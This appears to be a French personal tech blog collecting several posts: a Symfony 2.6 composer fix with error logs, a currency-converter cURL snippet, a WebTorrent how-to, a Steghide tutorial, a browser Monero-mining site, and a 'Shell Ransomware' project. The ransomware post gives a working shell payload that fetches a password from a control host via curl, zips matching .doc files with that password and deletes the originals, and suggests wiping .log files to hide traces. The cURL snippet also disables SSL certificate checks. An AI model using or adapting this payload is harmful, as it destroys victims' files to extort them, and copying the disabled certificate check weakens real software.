Symfony 2.6 & php7.1 fixe composer install

Dernièrement je suis passé en php7.1 avec un projet Symfony 2.6 et j’ai eu quelques soucis lors de l’utilisation de composer install et composer update. Un conflit dans la gestion des modules de php avec opcache et le bundle sensio/distribution-bundle.

1
2
3
4
5
6
> Sensio\Bundle\DistributionBundle\Composer\ScriptHandler::buildBootstrap
Cannot load Zend OPcache - it was already loaded
PHP Warning: Module 'mysqlnd' already loaded in Unknown on line 0
PHP Warning: Module 'PDO' already loaded in Unknown on line 0
PHP Warning: Module 'xml' already loaded in Unknown on line 0
...

Log Error Detail

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
> Sensio\Bundle\DistributionBundle\Composer\ScriptHandler::buildBootstrap
Cannot load Zend OPcache - it was already loaded
PHP Warning: Module 'mysqlnd' already loaded in Unknown on line 0
PHP Warning: Module 'PDO' already loaded in Unknown on line 0
PHP Warning: Module 'xml' already loaded in Unknown on line 0
PHP Warning: Module 'calendar' already loaded in Unknown on line 0
PHP Warning: Module 'ctype' already loaded in Unknown on line 0
PHP Warning: Module 'curl' already loaded in Unknown on line 0
PHP Warning: Module 'dom' already loaded in Unknown on line 0
PHP Warning: Module 'exif' already loaded in Unknown on line 0
PHP Warning: Module 'fileinfo' already loaded in Unknown on line 0
PHP Warning: Module 'ftp' already loaded in Unknown on line 0
PHP Warning: Module 'gd' already loaded in Unknown on line 0
PHP Warning: Module 'gettext' already loaded in Unknown on line 0
PHP Warning: Module 'iconv' already loaded in Unknown on line 0
PHP Warning: Module 'json' already loaded in Unknown on line 0
PHP Warning: Module 'mbstring' already loaded in Unknown on line 0
PHP Warning: Module 'mcrypt' already loaded in Unknown on line 0
PHP Warning: Module 'mysqli' already loaded in Unknown on line 0
PHP Warning: Module 'pdo_mysql' already loaded in Unknown on line 0
PHP Warning: Module 'pdo_sqlite' already loaded in Unknown on line 0
PHP Warning: Module 'Phar' already loaded in Unknown on line 0
PHP Warning: Module 'posix' already loaded in Unknown on line 0
PHP Warning: Module 'readline' already loaded in Unknown on line 0
PHP Warning: Module 'shmop' already loaded in Unknown on line 0
PHP Warning: Module 'SimpleXML' already loaded in Unknown on line 0
PHP Warning: Module 'sockets' already loaded in Unknown on line 0
PHP Warning: Module 'sqlite3' already loaded in Unknown on line 0
PHP Warning: Module 'sysvmsg' already loaded in Unknown on line 0
PHP Warning: Module 'sysvsem' already loaded in Unknown on line 0
PHP Warning: Module 'sysvshm' already loaded in Unknown on line 0
PHP Warning: Module 'tokenizer' already loaded in Unknown on line 0
PHP Warning: Module 'wddx' already loaded in Unknown on line 0
PHP Warning: Module 'xmlreader' already loaded in Unknown on line 0
PHP Warning: Module 'xmlwriter' already loaded in Unknown on line 0
PHP Warning: Module 'xsl' already loaded in Unknown on line 0
PHP Warning: Module 'zip' already loaded in Unknown on line 0
> Sensio\Bundle\DistributionBundle\Composer\ScriptHandler::clearCache
Cannot load Zend OPcache - it was already loaded
PHP Warning: Module 'mysqlnd' already loaded in Unknown on line 0
PHP Warning: Module 'PDO' already loaded in Unknown on line 0
PHP Warning: Module 'xml' already loaded in Unknown on line 0
PHP Warning: Module 'calendar' already loaded in Unknown on line 0
PHP Warning: Module 'ctype' already loaded in Unknown on line 0
PHP Warning: Module 'curl' already loaded in Unknown on line 0
PHP Warning: Module 'dom' already loaded in Unknown on line 0
PHP Warning: Module 'exif' already loaded in Unknown on line 0
PHP Warning: Module 'fileinfo' already loaded in Unknown on line 0
PHP Warning: Module 'ftp' already loaded in Unknown on line 0
PHP Warning: Module 'gd' already loaded in Unknown on line 0
PHP Warning: Module 'gettext' already loaded in Unknown on line 0
PHP Warning: Module 'iconv' already loaded in Unknown on line 0
PHP Warning: Module 'json' already loaded in Unknown on line 0
PHP Warning: Module 'mbstring' already loaded in Unknown on line 0
PHP Warning: Module 'mcrypt' already loaded in Unknown on line 0
PHP Warning: Module 'mysqli' already loaded in Unknown on line 0
PHP Warning: Module 'pdo_mysql' already loaded in Unknown on line 0
PHP Warning: Module 'pdo_sqlite' already loaded in Unknown on line 0
PHP Warning: Module 'Phar' already loaded in Unknown on line 0
PHP Warning: Module 'posix' already loaded in Unknown on line 0
PHP Warning: Module 'readline' already loaded in Unknown on line 0
PHP Warning: Module 'shmop' already loaded in Unknown on line 0
PHP Warning: Module 'SimpleXML' already loaded in Unknown on line 0
PHP Warning: Module 'sockets' already loaded in Unknown on line 0
PHP Warning: Module 'sqlite3' already loaded in Unknown on line 0
PHP Warning: Module 'sysvmsg' already loaded in Unknown on line 0
PHP Warning: Module 'sysvsem' already loaded in Unknown on line 0
PHP Warning: Module 'sysvshm' already loaded in Unknown on line 0
PHP Warning: Module 'tokenizer' already loaded in Unknown on line 0
PHP Warning: Module 'wddx' already loaded in Unknown on line 0
PHP Warning: Module 'xmlreader' already loaded in Unknown on line 0
PHP Warning: Module 'xmlwriter' already loaded in Unknown on line 0
PHP Warning: Module 'xsl' already loaded in Unknown on line 0
PHP Warning: Module 'zip' already loaded in Unknown on line 0


[Symfony\Component\DependencyInjection\Exception\InvalidArgumentException]
Unable to parse file "/var/www/TestAPI/vendor/symfony/symfony/src/Symfony/Bundle/FrameworkBundle/DependencyInjection/../Resources/config/web.xml".


[InvalidArgumentException]
The XML file "/var/www/TestAPI/vendor/symfony/symfony/src/Symfony/Bundle/FrameworkBundle/DependencyInjection/../Resources/config/web.xml" is not valid.


[Symfony\Component\Debug\Exception\ContextErrorException]
Notice: Undefined property: DOMDocument::$documentElement

Script Sensio\Bundle\DistributionBundle\Composer\ScriptHandler::clearCache handling the post-install-cmd event terminated with an exception

In ScriptHandler.php line 439:

An error occurred when executing the "'cache:clear --no-warmup'" command:

Cannot load Zend OPcache - it was already loaded
PHP Warning: Module 'mysqlnd' already loaded in Unknown on line 0
PHP Warning: Module 'PDO' already loaded in Unknown on line 0
PHP Warning: Module 'xml' already loaded in Unknown on line 0
PHP Warning: Module 'calendar' already loaded in Unknown on line 0
PHP Warning: Module 'ctype' already loaded in Unknown on line 0
PHP Warning: Module 'curl' already loaded in Unknown on line 0
PHP Warning: Module 'dom' already loaded in Unknown on line 0
PHP Warning: Module 'exif' already loaded in Unknown on line 0
PHP Warning: Module 'fileinfo' already loaded in Unknown on line 0
PHP Warning: Module 'ftp' already loaded in Unknown on line 0
PHP Warning: Module 'gd' already loaded in Unknown on line 0
PHP Warning: Module 'gettext' already loaded in Unknown on line 0
PHP Warning: Module 'iconv' already loaded in Unknown on line 0
PHP Warning: Module 'json' already loaded in Unknown on line 0
PHP Warning: Module 'mbstring' already loaded in Unknown on line 0
PHP Warning: Module 'mcrypt' already loaded in Unknown on line 0
PHP Warning: Module 'mysqli' already loaded in Unknown on line 0
PHP Warning: Module 'pdo_mysql' already loaded in Unknown on line 0
PHP Warning: Module 'pdo_sqlite' already loaded in Unknown on line 0
PHP Warning: Module 'Phar' already loaded in Unknown on line 0
PHP Warning: Module 'posix' already loaded in Unknown on line 0
PHP Warning: Module 'readline' already loaded in Unknown on line 0
PHP Warning: Module 'shmop' already loaded in Unknown on line 0
PHP Warning: Module 'SimpleXML' already loaded in Unknown on line 0
PHP Warning: Module 'sockets' already loaded in Unknown on line 0
PHP Warning: Module 'sqlite3' already loaded in Unknown on line 0
PHP Warning: Module 'sysvmsg' already loaded in Unknown on line 0
PHP Warning: Module 'sysvsem' already loaded in Unknown on line 0
PHP Warning: Module 'sysvshm' already loaded in Unknown on line 0
PHP Warning: Module 'tokenizer' already loaded in Unknown on line 0
PHP Warning: Module 'wddx' already loaded in Unknown on line 0
PHP Warning: Module 'xmlreader' already loaded in Unknown on line 0
PHP Warning: Module 'xmlwriter' already loaded in Unknown on line 0
PHP Warning: Module 'xsl' already loaded in Unknown on line 0
PHP Warning: Module 'zip' already loaded in Unknown on line 0


[Symfony\Component\DependencyInjection\Exception\InvalidArgumentException]
Unable to parse file "/var/www/TestAPI/vendor/symfony/symfony/src/Symfony/Bundle/FrameworkBundle/DependencyInjection/../Resources/config/web.xml".


[InvalidArgumentException]
The XML file "/var/www/TestAPI/vendor/symfony/symfony/src/Symfony/Bundle/FrameworkBundle/DependencyInjection/../Resources/config/web.xml" is not valid.


[Symfony\Component\Debug\Exception\ContextErrorException]
Notice: Undefined property: DOMDocument::$documentElement


Le problème ce trouve dans le fichier ScriptHandler.php dans vendor/sensio/distribution-bundle/Sensio/Bundle/DistributionBundle/Composer/ScriptHandler.php’

Vous devez modifié (ligne 553):

1
2
3
if (false !== $ini = php_ini_loaded_file()) {
$arguments[] = '--php-ini='.$ini;
}

par

1
2
3
4
5
6
7
8
9
if ($env = strval(getenv('COMPOSER_ORIGINAL_INIS'))) {
$paths = explode(PATH_SEPARATOR, $env);
$ini = array_shift($paths);
} else {
$ini = php_ini_loaded_file();
}
if (!empty($ini)) {
$arguments[] = '--php-ini='.$ini;
}

Une autre solution serait de passer sensio/distribution-bundle à la version 5.* mais c’est une autre histoire.

Lien vers l’issue Github

Currencies Converter API

Yop tout le monde!

Je cherchais une API pour faire des conversions de monnaies (USD to EUR, JPN to EUR…) pour un MarketPlace ayant besoin de la conversion afin de calculer la limite d’achat/vente par utilisateur sur le site. Il c’est avérer que sur les résultats de mes recherches ils pullulent des sites proposants des API Payantes qui peuvent allé jusqu’à 50€/m. J’ai vu aussi 2-3 morceaux de code trainer utilisant des API de Google mais aucune n’étaient opérationnel.
Je partage donc avec vous un bout de code utilisant une API Gratuite et à jour.

1
2
3
4
5
6
7
8
9
$converter = 'USD_EUR';
$ch = curl_init();
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,false);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_URL,'http://free.currencyconverterapi.com/api/v5/convert?q='.$converter.'&compact=y');
$result = curl_exec($ch);
curl_close($ch);

$result = json_decode($result);

Client Torrent

Salut à tous! Aujourd’hui je vous présente un outil que j’utilise régulièrement lors de mes sessions de téléchargement de fichiers légaux en .torrent.

Webtorrent

Webtorrent est un client bitTorrent tout comme Deluge/Transmission/Utorrent… Mais alors vous allez me demander
“Pourquoi utiliser ce client en particulier ? T’es payé hein ..?”.
Hé bien je voudrais bien mais je vous en parle car cette outil est open-source, l’application desktop est simple et intuitive, il possède même une interface de ligne de commande pour les friands de shell :P
Pour les pressés, une fonctionnalité permet la visualisation du film au cours de votre téléchargement via votre media player préféré (VLC bien sûr, toujours open-source, Merci!).

Webtorrent Command Line Tool

Installation

Bon, c’est bien d’en parler mais maintenant vous avez peut être envie de tester tout ça ?
Vous pouvez télécharger la version desktop directement sur leur site ou juste l’interface de commande avec le gestionnaire de paquet npm.

1
npm install webtorrent

Exemples

J’imagine que ce soir vous avez prévu de regarder votre série préférer mais vous n’avez pas encore télécharger la dernière saison qui vient de sortir! Hors de question d’utiliser un service de streaming au rabais bourrer de pub qui te bouffe le cerveau… Non! Ce soir je lutte contre l’Establishment!
Je télécharge rapidement les fichiers .torrent correspondant à la dernière saison de l’Inspecteur Derrik, que je rassemble dans un dossier DerrikX/.
avec la commande find je vais faire une recherche de tout mes fichiers *.torrent ce trouvant dans DerrikX/ et lancer le téléchargement.

1
find DerrikX/ -iname '*.torrent' --exec webtorrent download "{}" \;

Pour la lecture du fichier lors de son téléchargement il suffit de rajouter l’argument --vlc.

1
webtorrent download d3rr1k_525_3p01.torrent --vlc

Voilà comment j’ai disrupté le Système.

Shell Ransomware

Je suis un peu en retard sur la tendance mais ce soir j’ai eu l’envie de travailler sur un petit projet perso de Ransomware. L’executable sera un simple script écrit en shell avec des commande basiques du système Unix pour garder une compatibilité sur le plus de machine possible. Le script communiquera avec le Serveur de Contrôle qui permet la création aléatoire des passwords.

Qu’est qu’un Ransomware ?

Un ransomware, ou rançongiciel en français, est un logiciel informatique malveillant, prenant en otage les données. Le ransomware chiffre et bloque les fichiers contenus sur votre ordinateur et demande une rançon en échange d’une clé permettant de les déchiffrer. Apparus dans un premier temps en Russie, les ransomwares se sont répandus dans le monde entier, et principalement aux Etats-Unis, en Australie ou en Allemagne. Bien souvent, le ransomware s’infiltre sous la forme d’un ver informatique, à travers un fichier téléchargé ou reçu par email et chiffre les données et fichiers de la victime. La finalité est d‘extorquer une somme d’argent à payer le plus souvent par monnaie virtuelle pour éviter toute trace.

Shell Commands (Payload)

Le Payload est le code qui est exécuté sur la bécane ciblé. Dans le cas d’un Ransomware, le payload ce charge du chiffrement des données du disque dur.
La création du payload ce fera via une interface web, une fois celui-ci télécharger vous devrez trouver un moyen de l’exécuter sur la machine Unix (Mac/Linux) de votre victime. Une fois celui-ci lancer, le Ransomware va envoyer une première requête au Serveur de Contrôle afin de générer un password aléatoire qui servira au chiffrement des données.

Exemple d’un Payload configuré pour une attaque sur les fichiers .doc.

1
2
3
4
5
# payload.sh
# Get Password
passWord=$(curl -L exemple.com/newVictim)
# Search & Encrypt & Delete Target (="{}")
find ~ -name "*.doc" -exec zip -P "$passWord" -r encrypted.zip "{}" && rm -rf "{}" \;

Les commandes utilisés:

  • zip: Compression avec password.
  • rm: Suppression des dossiers/fichiers.
  • find: Recherche des dossiers/fichiers cibles.
    • -exec: Exécution de commande(s) pour chaque résultat.
  • curl: Permet la communication avec le Controller (pour la récupération du password).

Afin de déchiffrer ses données, la victime devra se rendre sur une url spécifique qui lui retournera le password du fichier .zip.

Web Server Controller

Le Serveur de Contrôle aura un rôle principal dans le déroulement d’une attaque.

  • Tout d’abord la configuration et création du payload via une interface simple et intuitive.
  • La production et gestion des passwords chiffrés.
  • Le téléchargement des dossiers des victimes.
  • Récupération du password pour le déchiffrement.

Je ne prévois pas pour l’instant l’ajout de la fonction de rançon.


Patchs

Je ne suis pas professionnel en Administration Système mais il est possible d’intercepter le password d’encryptage lors de l’execution des requêtes du payload.

  • Une première solution est de passer les requêtes en https ce qui permettra déjà l’impossibilité de lire les requêtes en clair sur le réseau.
  • Il reste encore une trace du password dans les logs de la machine, il suffira de chercher et supprimer tous les fichiers .log avec la commande find.

Cacher des données dans une image

La stéganographie est l’art de cacher des informations à la vue, et dans ce tutoriel, je vais vous montrer comment utiliser Steghide - un outil de ligne de commande très simple pour faire exactement cela. En outre, je vais passer en revue un peu de contexte conceptuel pour vous aider à comprendre ce qui se passe dans les coulisses. C’est un outil simple, configurable, qui ne prend que quelques secondes pour cacher des informations dans de nombreux types de fichiers.

Spy Mode Activated

Qu’est-ce que la stéganographie?

Contrairement au cryptage, où il est évident qu’un message est caché, la stéganographie cache les données en clair , à l’intérieur d’un fichier tel qu’une image. En ce qui concerne les images, pour quiconque ne sait pas qu’il contient des données cachées, cela ressemble à une image normale et innocente.

La stéganographie est utile dans les situations où l’envoi de messages cryptés peut éveiller des soupçons, comme dans les pays où la liberté d’expression est supprimée. Il est également fréquemment utilisé comme filigrane numérique pour détecter les images ou les fichiers audio volés. Et sur une note moins pratique - c’est juste cool.

Comment la stéganographie est-elle mise en œuvre?

Il existe plusieurs techniques différentes pour dissimuler des données dans des fichiers normaux. L’un des plus largement utilisés et peut-être le plus simple à comprendre est la technique des bits les moins significatifs, communément appelée LSB.

Cette technique change les derniers bits d’un octet pour encoder un message, ce qui est particulièrement utile dans quelque chose comme une image, où les valeurs rouges, vertes et bleues de chaque pixel sont représentées par huit bits (un octet) allant de 0 à 255 en décimal ou 00000000 à 11111111 en binaire.

Changer les deux derniers bits dans un pixel complètement rouge de 11111111 à 11111101 change seulement la valeur rouge de 255 à 253, ce qui à l’œil nu crée un changement de couleur presque imperceptible mais nous permet toujours d’encoder des données à l’intérieur de l’image.

La technique des bits les moins significatifs fonctionne bien pour les fichiers multimédias, où les valeurs d’octets légèrement changeantes ne créent que de légères modifications imperceptibles, mais pas si bien pour des choses comme le texte ASCII, où un seul bit changera complètement le caractère. Cela ne veut pas dire que les données cachées à l’aide de la stéganographie LSB sont également faciles à détecter si quelqu’un les recherche.

Pour cette raison, il existe une pléthore d’autres techniques de stéganographie, chacune avec ses propres avantages et inconvénients. Une autre technique beaucoup moins détectable s’appelle la technique du coefficient de transformée en cosinus discrète (je sais, c’est une bouchée), qui change légèrement les poids (coefficients) des ondes cosinus qui sont utilisées pour reconstruire une image JPEG.

Utilisation efficace de la stéganographie

En gardant à l’esprit que certaines techniques de stéganographie numérique sont meilleures que d’autres, en général, il vaut mieux éviter la technique LSB et opter pour quelque chose d’un peu plus sophistiqué. En fait, concevoir votre propre algorithme de stéganographie n’est pas très difficile si vous avez déjà de bonnes bases de codage et de mathématiques. Mais pour avoir une idée du fonctionnement de la stéganographie, LSB, que Steghide utilise, se débrouillera bien ici.

Deux autres choses à considérer sont le cryptage et la compression. Le cryptage des données avant leur intégration ajoute une couche de sécurité supplémentaire, tandis que la compression de vos données vous permettra évidemment de mieux les intégrer dans votre fichier de couverture. Les schémas de cryptage et de compression peuvent être inclus en tant que paramètres optionnels dans Steghide, et nous les aborderons ci-dessous.

Intégrez les données cachées dans un fichier

L’utilisation de Steghide est très facile. Pour l’installer depuis le terminal sous Linux, utilisez apt .

1
apt-get install steghide

Une fois installé, pour pouvoir intégrer des données dans un fichier, tapez la commande ci-dessous.

1
steghide embed -ef 'secret file' -cf coverFile -sf 'file out' -z compressionLevel -e 'schema'

Traduction de wonderhowto.com

XMR4.me

C’est la remise en ligne du site XMR4.me, petit frère de WebMiner, ce nouveau entrant va lui aussi vous permettre de miner sur votre ordinateur via votre navigateur web. Mais alors quoi de nouveau ?!

WebMiner et XMR4.me

Features

  • Configuration Simple. Aucune inscription au site n’est requise, vous aurez seulement besoin d’une adresse monero (Créer une adresse Monero) et d’un speudo.
  • Sécurité. Le site n’enregistre aucune donnée sur ces utilisateurs. Développer sous Symfony 4
  • Utilisation Rapide.

Todo

  • Rédaction de contenu textuel.
  • Création d’un classement Speudo/Hash Total, un peu dans l’esprit de WebMiner.
  • Publication du projet en OpenSource sur github.

Lien vers XMR4.me